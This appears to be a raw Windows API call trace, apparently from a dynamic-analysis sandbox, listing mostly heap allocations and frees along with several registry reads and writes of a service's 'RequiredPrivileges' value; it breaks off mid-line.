[0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d388) returned 1 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47b0) returned 1 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d398) returned 1 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3a8) returned 1 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2b870) returned 1 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.756] RegQueryValueExA (in: hKey=0x94, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x194) returned 0x0 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1c0) returned 0x1d92850 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.756] RegQueryValueExA (in: hKey=0x94, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1d92850, lpcbData=0x18fb78*=0x194 | out: lpType=0x18fb70*=0x7, lpData=0x1d92850*, lpcbData=0x18fb78*=0x194) returned 0x0 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d630 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3a8 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47b0 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d398 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d388 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4498 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d268 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da44e0 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.756] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1e2b870 [0032.756] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d630) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4528 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d308 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4840 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3b8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4888 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x30) returned 0x1d7ff98 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2b870) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3c8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da48d0 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3d8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4918 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3e8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4960 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3f8 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da49a8 [0032.757] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.757] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da49f0 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7ff98) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d408 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4a38 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d418 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4a80 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d428 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4ac8 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d438 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4b10 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x50) returned 0x1d977f8 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da49f0) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d448 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da49f0 [0032.758] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x50) returned 0x1d7dd90 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d458 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47f8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d468 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4b58 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d478 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4ba0 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d488 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4be8 [0032.758] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d498 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4c30 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4a8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4c78 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4b8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4cc0 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4c8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4d08 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4d8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4d50 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4e8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4d98 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d4f8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4de0 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d508 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4e28 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d518 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da6eb0 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d528 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da6ef8 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d538 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da6f40 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d548 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da6f88 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d558 [0032.759] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da6fd0 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47b0) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3a8) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d398) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4498) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d388) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da44e0) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d268) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4528) returned 1 [0032.759] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d258) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4768) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d2f8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4840) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d308) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4888) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3b8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da48d0) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3c8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4918) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3d8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4960) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3e8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da49a8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d3f8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4a38) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d408) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4a80) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d418) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4ac8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d428) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4b10) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d438) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da49f0) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d448) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d977f8) returned 1 [0032.760] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x50) returned 0x1d977f8 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d448 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da49f0 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d438 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4b10 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d428 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4ac8 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d418 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4a80 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d408 [0032.760] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4a38 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3f8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da49a8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3e8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4960 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3d8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4918 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3c8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da48d0 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3b8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4888 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d308 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4840 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2f8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4768 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4528 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d268 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da44e0 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d388 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4498 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d398 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d3a8 [0032.761] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da47b0 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da47f8) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d458) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4b58) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d468) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4ba0) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d478) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4be8) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d488) returned 1 [0032.761] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4c30) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d498) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4c78) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4a8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4cc0) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4b8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4d08) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4c8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4d50) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4d8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4d98) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4e8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4de0) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d4f8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4e28) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d508) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da6eb0) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d518) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da6ef8) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d528) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da6f40) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d538) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da6f88) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d548) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da6fd0) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7d558) returned 1 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7dd90) returned 1 [0032.762] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4e28 [0032.762] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4e28) returned 1 [0032.762] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xc0) returned 0x1d97310 [0032.762] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.763] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1e2a578 [0032.763] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97310) returned 1 [0032.763] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x140) returned 0x1d92850 [0032.763] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2a578) returned 1 [0032.763] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x180) returned 0x1d92998 [0032.763] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0032.763] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1c0) returned 0x1e2c8b8 [0032.763] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92998) returned 1 [0032.763] RegSetValueExA (in: hKey=0x13c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1e2c8b8*, cbData=0x195 | out: lpData=0x1e2c8b8*) returned 0x0 [0032.764] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e2c8b8) returned 1 [0032.764] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4e28 [0032.764] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.764] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4e28) returned 1 [0032.764] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xc0) returned 0x1d97310 [0032.764] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.764] RegSetValueExA (in: hKey=0x13c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x1d97310*, cbData=0xac | out: lpData=0x1d97310*) returned 0x0 [0032.770] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d97310) returned 1 [0032.770] RegEnumValueA (in: hKey=0x94, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0032.770] RtlAllocateHeap (HeapHandle=0x1d70000, 